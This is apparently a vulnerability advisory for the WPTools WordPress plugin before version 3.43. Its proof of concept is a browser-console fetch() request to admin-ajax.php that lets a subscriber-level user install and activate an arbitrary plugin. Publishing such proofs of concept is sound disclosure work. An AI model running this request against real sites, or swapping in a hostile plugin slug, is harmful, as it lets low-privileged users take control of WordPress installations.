WPTools < 3.43 - Subscriber+ Arbitrary Plugin Installation

Proof of Concept

Run the below command in the developer console of the web browser while being on the blog as a subscriber user to install and activate the classic-editor plugin

fetch('/wp-admin/admin-ajax.php', {
        method: 'POST',
        headers: new Headers({
            'Content-Type': 'application/x-www-form-urlencoded',
        }),
        body: 'action=wptools_install_plugin&slug=classic-editor',
        redirect: 'follow'
    }).then(response => response.text()).then(result => console.log(result)).catch(error => console.log('error', error));